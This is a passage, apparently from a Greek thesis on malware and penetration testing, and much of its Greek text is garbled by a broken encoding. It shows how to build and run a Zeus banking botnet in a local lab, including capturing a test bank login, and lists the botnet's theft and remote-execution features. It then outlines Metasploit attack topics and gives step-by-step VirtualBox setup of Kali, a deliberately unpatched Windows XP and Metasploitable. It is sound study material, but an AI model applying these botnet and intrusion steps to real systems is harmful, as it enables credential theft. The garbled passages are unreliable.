bot ηο εθηειέζηµο .exe ζε ποηο ζεµείο να εµθανηζηεί. Αθοω ψιερ οη πςζµίζεηρ ζηο config.txt ζα είναη ενηάξεη 

ζηον ίδηο θάθειο πος ςπάπσεη ηο config.txt ςπάπσεη ένα άιιο απσείο ηο zsb.exe ψπος δεµηοςπγεί ηο bot. 
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εηθψνα 2.44 Επψµενο βήµα είναη να ηπέξυ ηο απσείο zsb.exe γηα να δεµηοςπγήζυ ηο εθηειέζηµο ηος bot. 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.45 ππϊηα ζα παηήζυ ηο θοςµπί "build the bot configuration" γηα να πάπεη ηηρ πςζµίζεηρ γηα ηον 

server θαη ηεν επηθοηνυνία θαη δεωηεπον ζα παηήζυ ηο θοςµπί "build the bot executable" γηα να δεµηοςπγεζεί 

ηο απσείο ψπος ζα εθηειεί ηο bot.exe. Αςηψ ζα µποπεί να ηο πάπεη ο ζηψσορ µε ηεσνηθέρ ψπυρ trojan horse πος 

ζα είναη θπςµµένο µέζα ηο εθηειέζηµο απσείο ή µε ηεσνηθή social engineer ψπος ζα µποπεί µέζυ phishing mail 

ή παγηδεςµένο θιαζάθη ή παπαπιανεηηθή ηζηοζειίδα ο σπήζηερ να θαηεβάζεη ηο bot θαη να εθηειεζηεί ζηο 

µεσάνεµα ηος αιιά ζηεν πεπίπηυζε αςηή επεηδή ηπέσυ ηο botnet ηοπηθά ζα εθηειεζηεί µψνο ηος ηο bot.exe 

µέζα ζηον xampp ζηο path C:\xampp\htdocs\zeus γηα να γίνεη πποζοµοίυζε µίαρ µψιςνζερ ενψρ ζηψσος απψ ηο 

θαθψβοςιο ιογηζµηθψ. Θα δεµηοςπγήζεη άιιο ένα απσείο ηο config.bin ψπος αςηψ ηο απσείο ζα πποζηεζεί µέζα 

ζηο ζηον θάθειο zeus πος έθηηαξα ζηον xampp γηα να επηθοηνυνεί µέζο ηος xampp ζηο path 

C:\xampp\htdocs\zeus . 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.46 
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εηθψνα 2.47 είζοδορ µε ζηοησεία ηο ς σπήζηε πος σπεζηµοποίεζα θαη ππην γηα ν α γίνεη authentication ϊζηε να 
πποσυπήζεη ζηο panel ψπος δηασεηπίδεηαη ηο botnet. 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.48 θενηπηθψ panel δηασείπηζερ botnet µεηά απψ ηεν είζοδο ηος σπήζηε. 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.49 αςηψ είναη ηο ψνοµα ηος ςποιογηζηή µος πος ηπέσεη ηοπηθά πος εξοµοηϊνεηε ε επίζεζε , ιέγεηε 

Seven SP 1 γηαηί είναη ηο ιεηη οςπγηθψ windows 7 θαη ζαν default name παίπνεη αςηψ. ΋ηαν δείξεη ζηο panel ηος 

δηασεηπηζηή ηος botnet ηο ψνοµα πος ςποιογηζηή πος εθηειέζηεθε ηο απ σείο bot.exe ηψηε ζεµαίνεη ψηη ηο 

µεσάνεµα ζηψσορ µο ιωνζεθε θαη έσεη επηθοηνυνία µε ηον δηασεηπηζηή µε επηηςσία. 
 
 

 

Επψµενο βήµα είναη να δοθηµάζυ ζη εν ππάξε µε ηον google chrome να ζςνδεζϊ ζε µία ηζηοζειίδα µε 

δοςιεωεη µε ππυηψθοιιο https πος έσ εη ςβπίδηα θπςπηογπάθεζε ανηαιιάδονηαρ θιεηδί 

θπςπηογπάθεζερ µέζυ ηος δεµοζίος - ηδηυηηθοω θιεη δηοω θαη τεθηαθή ζθπαγίδα γνεζηψηεηαρ πηζ 

ηοποηεηηθοω απψ άιιε εηαηπία ψπυρ θαίνεηε ζηο παπαθάηυ screenshot δίπια ζηο url. 
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εηθψνα 2.50 ζηεν παπαπάνυ εηθψνα είναη µία ηζηοζειίδα µε Url https://www.chase.com . παπψιο πος θαίνεηε 

µηα αζθαιήρ ηζηοζειίδα ο zeus απψ ηεν ζηηγµή πος είναη θοπηυµένορ ζηο µεσάνεµα ηος σπήζηε ζα είναη 

ηθανψρ να πάπεη ηον θϊδηθα. Εγϊ έβαια γηα ηο πείπαµα username "33333333" θαη γηα password "chrome333". 

Αςηψρ ο ιογαπηαζµψρ δεν ςπάπσεη θαη ζα πεηάξεη ζθάιµα αιιά ηο ζέµα είναη να δυ άµα ηο δεη ο zeus θαη ηο 

ζηείιεη ζηο control panel. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.51 εδϊ θαίνεηε µία αναθοπά πος ήπζε ζηο panel ηος administrator. Καηέγπατε ηα ηεν πποζπάζεηα 

ηος σπήζηε να µπεη µε ηον ιογαπηαζµψ ηος θαη µέζυ ηερ ζςγθεθπηµένερ δηεωζςνζερ θαη ηος Port πος έσεη 

οπηζηεί θαηάθεπε ηο bot.exe να ζηείιεη ηεν αναθοπά ζηον δηασεηπηζηή ηος botnet. ΢ηεν αναθοπά πος ζα 

ζηείιεη ηο bot.exe εθηψρ απψ ηο username θαη ηον θυδηθψ έσεη ποιιέρ αθψµα πιεποθοπίερ γηα information 

gathering ηος / ηυν ζηψσυν ψπυρ ηο ιεηηοςπγηθψ ζωζηεµα , ηοπηθή ϊπα , σϊπα ψπος βπίζθεηαη , ip δηεωζςνζε 

θαη ε ιίζηα δηεπγαζηϊν πος ηπέσεη ο ςποιογηζηήρ. 
 

Ο zeus µποπεί ζε ένα δίθηςο απψ έναν δηασεηπηζηή µποπεί να δηασεηπίδεηαη ποιιά σηιηάδερ bot απθεί ηα 

µεσανήµαηα να έσοςν µοιςνζεί µε θάποηο ηπψπο θαη να έσοςν ζωνδεζε ζηο ίνηεπνεη. Ο zeus έσεη 

θηάιερ ηδηψηεηερ εθηψρ ηα bot να ζηέινοςν usernames θαη θυδηθοωρ. ψπυρ επανεθθίνεζε ηος 

ςποιογηζηή , δηαγπαθή απσείυν απψ ηον ςποιογηζηή , shutdown , να θαηεβάζεη θαη να εθηειέζεη ένα 

απσείο , να εθηειέζεη ένα ήδε ςπάπσον απσείο , να θάνεη upload ένα απσείο ή έναν θάθειο θαη να 

θιέτεη απψ ηον ςποιογηζηή τεθηαθά πηζηοποηεηηθά. 
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Κεφάλαιο 3 active hacking Πρακτικό κομμάτι 
 

΢ηο ππαθηηθψ µέπορ αςηοω ηος θεθαιαίος ζα αναδείξυ: 
 

1) ΢ηήζηµψ ενψρ εηθονηθοω penetration testing lab. Ένα penetration testing lab είναη µάιιον ηο ποηο 

ζεµανηηθψ θοµµάηη γηα έναν penetration tester. To εηθονηθψ penetration testing lab είναη θάηη ζαν "γςµναζηήπηο" 

ενψρ penetration tester ψπος µποπεί να εξαζθείηε µέζα ζε αζθαιέρ πιαίζηα συπίρ να ςπάπσεη θίνδςνορ να 

ενοσιεζεί θάποηο ηπίηο ππψζυπο έζηυ θαη απψ ιάζορ θαη συπίρ να ςπάπσοςν ζςνέπεηερ. 
 

2)Metasploit Framework introduction. εηζαγυγηθά θαη θάποηα βαζηθά ππάγµαηα γηα ηεν πιαηθψπµα 
 
Metasploit Framework. 
 

3)∆εµηοςπγία ενψρ backdoor απσείος µε ηο kali linux. Εγθαηάζηαζε ζε ένα µεσάνεµα windows 

7 θαη ζωνδεζε αποµαθπςζµένα µε ηεν πιαηθψπµα Metasploit Framework. 
 

4) Hacking ενψρ ςποιογηζηή µε windows xp µε ηεν πιαηθψπµα Metasploit Framework. 
 

5) ∆εµηοςπγία ενψρ backdoor απσείος µε ηο kali linux. Εγθαηάζηαζε ζε ένα smartphone samsung 

µε android 5.1 θαη ζωνδεζε αποµαθπςζµένα µε ηεν πιαηθψπµα Metasploit Framework. 
 

6) wpa2 personal cracking. ΢ε αςηψ µέπορ ζα εξεγήζυ µία ηεσνηθή πυρ έναρ penetration tester µε µία 
 
ζςγθεθπηµένε ηεσνηθή απψ ηηρ ποιιέρ πος ςπάπσοςν να ζπάεη αζωπµαηα δίθηςα πος πποζηαηεωονηαη 
απψ wpa2 personal ππυηψθοιιο. 
 

7) ςποθιοπή δεδοµένυν µε ηεσνηθή man in the middle. Θα αναδείξυ µία ηεσνηθή πος µποπεί 

να σπεζηµοποηήζεη θάποηορ απψ ηεν ζηηγµή πος παπαβίαζε ηο ηοπηθψ µαρ δίθηςο. 
 

8) ςποθιοπή δεδοµένυν µε social engineer toolkit απψ επίζεζε man in the middle. ΢ε επίζεζε man 

in the middle αθοω παπαβηάζηεθε ηο ηοπηθψ δίθηςο ζα αναδείξυ µία ηεσνηθή ςποθιοπήρ πιεποθοπηϊν µε 

ηο επγαιείο set(social engineer toolkit) πος έπσεηαη µαδί µε ηεν δηανοµή linux. 
 

9) Wpa2 evil twin. ΢ε αςηψ ηο µέπορ ζα αναδείξυ αθψµα µία ηεσνηθή δηαθοπεηηθή απψ ηεν ππϊηε 

ηεσνηθή πος αναδείσηεθε ζε αςηψ ηο θεθάιαηο. Αςηή ε ηεσνηθή ζπαζίµαηορ δηθηωυν είναη wep , wpa , 

wpa2 personal ππυηψθοιια πος πποζηαηεωοςν ηοπηθά δίθηςα. 
 

10) ΢ε αςηψ ηο µέπορ ηος θεθαιαίος ζα αναδείξυ µία ηεσνηθή sql injection. Πυρ µποπϊ να βπυ µία 

ηζηοζειίδα έσεη θενψ αζθάιεηαρ ζε επηζέζεηρ sql injection θαη πυρ ζα εξοπωξυ εςαίζζεηερ πιεποθοπίερ. 

 
 

 

3.1 Στήςιμο ενόσ αςφαλοφσ εικονικοφ virtual penetration testing lab 
 

Δθμιουργοφμε ζνα εικονικό δίκτυο για να κάνουμε δοκιμζσ με το metasploit ςε αςφαλι περιβάλλον. 

Αναλυτικά ζνα penetration testing lab περιλαμβάνει ζνα Oracle VM virtual box όπου διανζμετε δωρεάν , 

το Kali linux 2 , το metasploitable 2 όπου είναι ςκόπιμα μία διανομι linux που ο kernel βαςίηετε ςτον 

ubuntu , ubuntu server 9.04 , windows xp service pack 2 , pfsense όπου ζχει ρόλο εικονικοφ router οποφ 

ζχει 2 εικονικζσ κάρτεσ δικτφου θ μία ζχει δικτφωςθ τφπου bridged για να βλζπει απευκείασ τον φυςικό 
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router του φυςικοφ δικτφου και άλλον ζναν τφπο δικτφωςθσ όπου λζγετε internal network όπου με αυτιν τθν 
ρφκμιςθ παίρνουν όλα ip από τον dhcp server όλα τα virtual μθχανιματα του penetration testing lab. 
 

Στιςιμο του εικονικοφ δικτφου με εγκατάςταςθ του kali linux ςτο virtual box. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εικόνα 3.1  εικονικό περιβάλλον Oracle VM virtualBox 

 

Αυτό είναι το εικονικό περιβάλλον του virtual Βοχ όπου κα χρθςιμοποιιςω όπου κα τρζχουμε το εικονικό 
penetration testing lab.Για να εγκαταςτιςουμε το Kali linux 2 όπου διανζμετε δωρεάν μπορεί κάποιοσ να 
το κατεβάςει από το επίςθμο site 
 
 
 
 

εικόνα 3.2 

https://www.kali.org/do 

wnloads/ κατεβάηοντασ 

το 32 ι 64 bit ι το light 

version ανάλογα το 

μθχάνθμα του κάκε 

χριςτθ.Στο 

ςυγκεκριμζνο virtual 

pentest lab Που κα 

ςτιςω κα κατεβάςω 

τθν 64bit ζκδοςθ του 

kali linux. 

 

Αφοφ ολοκλθρωκεί το 
κατζβαςμα του λειτουργικοφ κα κάνω κάποιεσ ρυκμίςεισ ςτο virtual box για να τρζξει το Kali Linux 2.Θα γυρίςω ςτο 
εικονικό περιβάλλον του virtual box και κα πατιςω τθν επιλογι New. 
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εικόνα 3.3 Θα εμφανιςτεί μία νζα επιλογι όπου ςτο name κα βάλω Kali Linux 2 ςτθν δεφτερθ επιλογι κα επιλζξω 
τθν επιλογι Linux και ςτθν τρίτθ επιλογι κα επιλζξω τθν επιλογι Ubuntu(64 bit) και ο λόγοσ είναι ότι το 
λειτουργικό ςφςτθμα Kali linux ο kernel του είναι βαςιςμζνοσ ςτο ubuntu. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.4 επιλζγω μζχρι πόςα MB από τθν ram μπορεί να χρθςιμοποιιςει μζγιςτο το λειτουργικό ςφςτθμα κακϊσ 
τρζχει από το virtual box. 
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εικόνα 3.5 μασ δίνει 

τρείσ επιλογζσ. Να τρζχει το λειτουργικό ςφςτθμα χωρίσ virtual ςκλθρό δίςκο , να δθμιουργιςουμε εμείσ ζναν 

virtual δίςκο όπου κα δεςμεφει ζνα μζροσ του πραγματικοφ ςκλθροφ δίςκου όπου κα το ζχει το virtual operating 

system να αποκθκεφει διάφορεσ πλθροφορίεσ , ι να χρθςιμοποιιςω ζνα ιδθ υπάρχον virtual ςκλθρό δίςκο. Εγϊ 

κα επιλζξω τθν δεφτερθ επιλογι. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.6 Επιλζγω ο virtual ςκλθρόσ δίςκοσ να είναι τφπου virtualBox Disk Image. 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.7 θ πρϊτθ 

επιλογι είναι για το 

μζγεκοσ του ςκλθροφ 

δίςκου να αλλάηει 
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δυναμικά δθλαδι όταν χρειάηεται. Η δεφτερθ επιλογι είναι να πιάνει ζνα ςυγκεκριμζνο μζγεκοσ ο virtual ςκλθρόσ 
δίςκοσ εξ αρχισ .Επιλζγω τθν πρϊτθ επιλογι. 
 
 
 
 

εικόνα 3.8 ρυκμίηω πόςο 

μζγεκοσ κα ζχει ο virtual 

ςκλθρόσ δίςκοσ. Ζβαλα να 

ζχει 320 GB ανϊτατο όριο. 

Επειδι πριν ζβαλα τθν 

επιλογι Dynamically 

allocated δεν κα πιάνει από 

τθν αρχι 320 GB αλλά όςα 

μόνο χρειάηεται. Αλλά δεν κα 

μπορζςει να ξεπεράςει το 
 
320GB. 

 

Όταν κάνω και αυτιν τθν επιλογι ζχει ςχεδόν τελειϊςει το ςτιςιμο του Kali Linux 2 απλά απομζνουν κάποιεσ 

μικρορυκμίςεισ ακόμα. εικόνα Όταν τελειϊςω με τθν ρφκμιςθ και του virtual ςκλθροφ δίςκου τότε κα μασ γυρίςει 

ςτο αρχικό γραφικό περιβάλλον του virtual box άλλα ζχει προςτεκεί θ επιλογι να τρζξουμε το Kali Linux αλλά πριν 

γίνει αυτό πρϊτα κα πατιςω πάνω ςτο Kali Linux 2 και μετά δεξί κλικ και τθν επιλογι settings. 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.9 ςτθν 

κατθγορία 

System ςτθν 

καρτζλα 

Motherboard 

απενεργοποίθςα 

το floppy χωρίσ 

να αλλάξει 

βζβαια τίποτα... 
 

ιταν μία 
 
προαιρετικι επιλογι. 
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εικόνα 3.10 Στθν δίπλα καρτζλα με όνομα processor πάλι ςτθν κατθγορία System επιλζγω πόςουσ processors να 
τρζχει θ virtual μθχανι.Είχε πρωταρχικι επιλογι ζναν processor αλλά είναι πολφ λίγο οπότε ζβαλα 2 processors. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.11 ςτθν κατθγορία Display ςτθν καρτζλα video αφινω τθν προεπιλογι ςτα 12 MB να ζχουν τα 
γραφικά ςαν μνιμθ. Δεν κα χρειαςτεί περιςςότερο γιατί δεν κα ζχει 3d γραφικά. 
 
 
 
 
 
 
 
 

 

εικόνα 3.12 ςτθν κατθγορία 

Storage ςτθν επιλογι Controller 

: IDE για να φορτϊςω το 

λειτουργικό ςφςτθμα από εκεί 

που το κατζβαςα ςτθν 

αρχι.Πατάω το εικονίδιο που 

είναι ζνασ δίςκοσ με ζναν 

πράςινο ςταυρό για να 

φορτϊςω το λειτουργικό 

ςφςτθμα εκεί που το 

αποκικευςα. 
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εικόνα 3.13 Αυτό το βιμα κα το παρακάμψω για τθν ϊρα και κα το αφιςω ςτθν επιλογι nat γιατί κζλω το 

λειτουργικό kali linux τθν ϊρα που κα τρζχει live και κα κάνει εγκατάςταςθ ςτον ςκλθρό δίςκο κα χρειαςτεί να ζχει 

επαφι με τον φυςικό rooter.Τον Adapter Θα τον γυρίςω αργότερα ςε Internal network όταν κα εγκαταςτιςω και 

τον εικονικό firewall/router τον pfSense.Στθν κατθγορία Network κα γίνει μία πολφ ςθμαντικι αλλαγι. ςτθν 

καρτζλα Adapter 1 κα βγάλω τθν προεπιλογι NAT όπου αυτι θ επιλογι δεν κα ιταν χριςιμθ γιατί ςε όλεσ τισ 

εικονικζσ μθχανζσ του εικονικοφ penetration testing lab κα είχαν όλεσ τθν ίδια ip. Οπότε το αλλάηω τθν επιλογι ςε 

Internal Network για να δϊςει ξεχωριςτζσ ip ςτο εικονικό δίκτυο μασ ο pfSense εικονικόσ router που κα ςτιςω 

αργότερα. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.14 Το εικονικό μθχάνθμα μόλισ ςτικθκε και είναι ζτοιμο να τρζξει το Kali linux 2.Επιλζγω τθν πρϊτθ 
επιλογι να τρζξει το γραφικό περιβάλλον του Kali linux ςε Live ζκδοςθ δθλαδι χωρίσ να ζχει γίνει εγκατάςταςθ. 
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εικόνα 3.15 θ επιφάνεια εργαςίασ του Kali Linux με τθν εργαλειοκικθ όλων των hacking tools 
 

Σε περίπτωςθ κλειδϊματοσ τθσ οκόνθσ ο default user που φτιάχνει το Kali Linux είναι ο root με Password "toor" 

 

Εγϊ δεν κζλω να τρζξω live το Kali linux αλλά το κζλω εγκατεςτθμζνο γιατί ζχω κάποιεσ περιςςότερεσ δυνατότθτεσ 
οπότε ςτο αρχικό menu κα επιλζξω τθν επιλογι install 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.16 επιλογι για εγκατάςταςθ του Kali linux 2 να μθν τρζχει από live cd 
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εικόνα 3.17 επιλογι γλϊςςασ για τισ οδθγίεσ του Installation 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.18 για να ξζρει το λειτουργικό τι γλϊςςα να ζχει για το keyboard 
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εικόνα 3.19 προςκικθ hostname για να ξεχωρίηει μζςα ςτο υποδίκτυο ο υπολογιςτισ 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.20 προςκικθ κωδικοφ για τον root user και ςτο επόμενο βιμα ηθτάει επαλικευςθ 
 
 
 
 
 
 
 
 

61 



malware , active hacking ,passive hacking 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.21 θ πρϊτθ επιλογι είναι για να κάνει τθν εγκατάςταςθ του λειτουργικοφ ςυςτιματοσ χωρίσ να δίνει 

ςθμαςία αν υπάρχουν partitions ςτον ςκλθρό δίςκο.Ποιο ζμπειροι χριςτεσ μποροφν να χρθςιμοποιιςουν τθν 

δεφτερθ επιλογι όπου χωρίηεισ τον ςκλθρό δίςκο ςε partitions ι τθν τρίτθ επιλογι όπου χωρίηετε ο ςκλθρόσ δίςκοσ 

ςε partitions Και κρυπτογραφείτε για να υπάρχει αςφάλεια για μθ εξουςιοδοτθμζνουσ χριςτεσ. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.22 να είναι όλα τα αρχεία του λειτουργικοφ ςυςτιματοσ και τα υπόλοιπα δεδομζνα ςε ζνα partition 
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εικόνα 3.23 ρωτάει για τελευταία φορά αν ςυμφωνϊ με τισ επιλογζσ που ζβαλα και κα κάνει format ςτον ςκλθρό 
δίςκο και κα διαγραφοφν όλα τα αρχεία που υπιρχαν εκεί. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.24 εγκατάςταςθ του λειτουργικοφ ςυςτιματοσ Kali Linux ςτον virtual ςκλθρό δίςκο. Σε περίπτωςθ που θ 
εγκατάςταςθ του λειτουργικοφ αποτφχει ξεκινιςτε τθν διαδικαςία από τθν αρχι κατεβάηοντασ το Kali Linux 2 32 bit 
version. 
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εικόνα 3.25 το λειτουργικό μόλισ εγκαταςτάκθκε και τρζχει χωρίσ το τθν βοικεια του .iso αλλά από τον virtual 

διςκο.Κάποια virtual boxes για να τρζξουν το λειτουργικό ςφςτθμα από τον virtual ςκλθρό δίςκο πρζπει πρϊτα να 

αφαιρζςουν το .iso από τθν ςτθμζνθ εικονικι μθχανι για να μθν το τρζξει πάλι από εκεί πζρα. πριν τθν 

παρουςίαςθ τθσ επιφάνειασ εργαςίασ κα μασ εμφανίςει ζνα παράκυρο αυκεντικοποιιςθσ του χριςτθ και κα 

πρζπει να βάλω τα ςτοιχεία που είχα ορίςει ςαν super user κατά τθν εγκατάςταςθ του λειτουργικοφ. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.26 θ πρϊτθ δουλεία κα είναι θ ενθμζρωςθ του λειτουργικοφ ςυςτιματοσ οπότε ςε ζνα command 
window δίνω τθν εντολι apt-get update && apt-get upgrade 
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εικόνα 3.27 διαδικαςία ενθμζρωςθσ του λειτουργικοφ ςυςτιματοσ Kali 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.28 μετά τθν ενθμζρωςθ του λειτουργικοφ ςυςτιματοσ κα πρζπει να ενθμερϊςω και το εργαλείο 
metasploit οπότε δίνω τθν εντολι msfconsole 
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Εγκατάςταςη του windows Xp SP2 ςτο εικονικό Penetration test lab 

 

Η δεφτερθ εικονικι μθχανι που κα εγκαταςτιςω κα είναι το λειτουργικό windows xp SP2. Αφοφ ζχω ςε .iso 
το λειτουργικό windows xp SP2 κα ςτιςω μία εικονικι μθχανι που κα τρζχει το λειτουργικό. 

 

εικόνα 3.29 ςτιςιμο νζασ 

εικονικισ μθχανισ kernel 

τφπου windows και 

version windows xp 64bit 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.30 ζωσ 1024 MB 

δζςμευςθ μνιμθσ όταν 

κα είναι ςε λειτουργία θ 

εικονικι μνιμθ 
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εικόνα 3.31 

δθμιουργία ενόσ 

εικονικοφ ςκλθροφ 

δίςκου 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.32 ο 

εικονικόσ ςκλθρόσ 

δίςκοσ κα είναι 

τφπου VDI 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.33 το 

μζγεκοσ του εικονικοφ 

ςκλθροφ δίςκου κα 

είναι δυναμικό χωρίσ 

να πιάνει εξαρχισ ςτον 

φυςικό ςκλθρό δίςκο 

όςο του ορίςαμε. 
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εικόνα 3.35 θ εικονικι 

μθχανι όταν κα τρζχει 

τα windows xp κα μπορεί 

να χρθςιμοποιεί 2 CPU 

 
 

εικόνα 3.34 το μζγεκοσ 

του ςκλθροφ δίςκου το 

ορίηω ςαν μζγιςτο ςτα 

120 GB αλλά επειδι 

ζδωςα τθν επιλογι 

dynamically allocated δεν 

κα δεςμεφει εξαρχισ 120 

GB αλλά το μζγιςτο που 

κα μπορεί να δεςμεφςει. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.36 αφοφ ςτθκεί θ 

εικονικι μθχανι κάνω δεξί 

κλικ και μπαίνω ςτα 

settings.Πάω ςτθν 

κατθγορία storage 

κλικάρω ςτο διςκάκι δεξιά 

για να βρω το windows xp 

SP2.iso και να το 

φορτϊςω. 
 
 

 

εικόνα 3.37 ςτθν 

κατθγορία Network κα 

αφιςω προσ το παρϊν 

ςτον εικονικό adapter 

τθν επιλογι NAT για να 

ζχει ςφνδεςθ με τον 

φυςικό router και 

ςφνδεςθ προσ τα ζξω ςτο 

ίντερνετ και αργότερα κα 

αλλάξω αυτιν τθν 
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επιλογι ςε όλεσ τισ εικονικζσ μθχανζσ να επικοινωνοφν με τον pfSense. 
 
 
 
 

εικόνα 3.38 πρϊτθ 

οκόνθ μετά τθν 

εκκίνθςθ τθσ 

εικονικισ μθχανισ 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εικόνα 3.39 μζγεκοσ 

του ενόσ εικονικοφ 

ςκλθροφ δίςκου που 

βλζπει το λειτουργικό 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.40 και οι 2 επιλογζσ είναι για να γίνει format ςτον ςκλθρό δίςκο πριν ξεκινιςει θ εγκατάςταςθ 
του λειτουργικοφ ςυςτιματοσ. 
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εικόνα 3.41 επιλογι για γλϊςςα ειςαγωγισ και ηϊνθ ϊρασ 
 
 
 
 
 

 

εικόνα 3.42 ειςαγωγι 

username και 

password για 

αυκεντικοποίθςθ 

χριςτθ 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.43 για τθν παρουςίαςθ 

κάποιασ ευπάκειασ και επίκεςθσ 

καλό κα ιταν να μθν γίνει 

ενθμερϊςω του λειτουργικοφ 

ςυςτιματοσ. 
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εικόνα 3.44 μετά τθν εγκατάςταςθ του λειτουργικοφ ςυςτιματοσ και 
εμφανιςτεί επιτυχϊσ θ επιφάνεια εργαςίασ κάνω εξαγωγι το εικονικό διςκάκι από το εικονίδιο κάτω κάτω 
ενόσ μικροφ cd και πατάω τθν επιλογι "Remove disk from virtual drive" 
 
 
 
 

εικόνα 3.45 για 

απενεργοποίθςθ του firewall 

κα πάω ςτο control panel , 

φςτερα ςτο administrative 

tools , φςτερα Services και κα 

βρω μία επιλογι που λζγετε 

windows firewall/ internet 

connection sharing(ICS) και 

επιλζγω τθν επιλογι stop για 

να ςταματιςει θ υπθρεςία. 
 
 
 
 
 
 
 
 
 

εικόνα 3.46 δείχνει 

απενεργοποιθμζνο το firewall 

και χωρίσ αναβακμιςεισ.Είναι 

ζτοιμο για να γίνει εφκολοσ 

ςτόχοσ μζςα ςτο virtual lab για 

να εξαςκιςω τα penetration 

testing skills μου. 
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Εγκατάςταςη του metasploitable ςτο εικονικό Penetration test lab 

 

Το Metasploitable είναι ζνα λειτουργικό ςφςτθμα ςκοπίμωσ ευπακζσ ςε διάφορεσ επικζςεισ. Ζχει ςχεδιαςτεί ζτςι 

ϊςτε ο χριςτθσ να προπονεί τισ ικανότθτεσ του ςτο penetration testing ςε αςφαλζσ περιβάλλον. Όποιοσ 

ενδιαφζρετε μπορεί να το βρει από το παρακάτω link 

https://sourceforge.net/projects/metasploitable/files/Metasploitable2/ 

 

εικόνα 3.47 όταν 

κατζβει ο φάκελοσ 

με το λειτουργικό 

ςφςτθμα 

metasploitable θ 

κατάλθξι του δεν 

είναι .iso αλλά 
 

.vmdk όπου είναι 
ζνασ εικονικόσ 

 
ςκλθρόσ δίςκοσ ζτοιμοσ με εγκατεςτθμζνο μζςα το λειτουργικό ςφςτθμα. Το ςτιςιμο τθσ εικονικισ μθχανισ ςε 
αυτό το παράδειγμα κα είναι διαφορετικό αλλά δεν κα δυςκολζψει θ εγκατάςταςθ του. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.48 αυτόν τον φάκελο που κατζβαςα κα τον αντιγράψω όπωσ είναι ςτον φάκελο όπου το virtualBOX VM 
αποκθκεφει τουσ εικονικοφσ ςκλθροφσ δίςκουσ του κάκε εικονικοφ μθχανιματοσ που ςτινω. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.49 δθμιουργία νζασ εικονικισ μθχανισ όπου είναι τφπου Linux με kernel ubuntu 
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εικόνα 3.50 αυτιν τθν φορά δεν κα βάλουμε τθν επιλογι "create a virtual hard drive now" αλλά το "use an existing 
virtual hard drive file" για να βρω το .vmdk του metasploitable που κατζβαςα για να το κάνω από εκεί πζρα inport. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.51 αφοφ ςτικθκε θ εικονικι μθχανι ελζγχω άμα ο adapter ζχει τθν επιλογι NAT γιατί πριν ςτιςω τον 
εικονικό router pfSense να δρομολογεί τισ ςυνδζςεισ του εικονικοφ lab κα χρειαςτϊ απευκείασ ςφνδεςθ με 
τον φυςικό router και το ιντερνετ για τθν εγκατάςταςθ. 
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εικόνα 3.52 Όταν αρχίςει θ εκκίνθςθ τθσ εικονικισ μθχανισ και τρζξει το metasploitable μετά από λίγο κα 
ηθτιςει name και password και ςτα 2 είναι το "msfadmin" 
 
 

 

Εγκατάςταςη του ubuntu server 9.04 ςτο εικονικό Penetration test lab 

 

Άλλο ζνα εικονικό μθχάνθμα που κα εγκαταςτιςω είναι το ubuntu server 9.04. Αυτό το παλιό λειτουργικό ζχει 

κάποιεσ ευπάκειεσ. Δεν είναι τόςο ευπακζσ όςο το metasploitable αλλά μπορεί να ανταποκρικεί ποιο ρεαλιςτικά ςε 

ζνα πραγματικό ςενάριο όπωσ ενόσ παραμελθμζνου server που δεν ζχει κάνει τισ ενθμερϊςεισ αςφαλείασ του. Τθν 

ςυγκεκριμζνθ ζκδοςθ μπορεί να τθν βρει κάποιοσ από αυτό το link. 
 

http://old-releases.ubuntu.com/releases/9.04/ 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.53 για το ςτιςιμο τθσ ςυγκεκριμζνθσ εικονικισ μθχανισ ο τφποσ του λειτουργικοφ ςυςτιματοσ κα είναι 

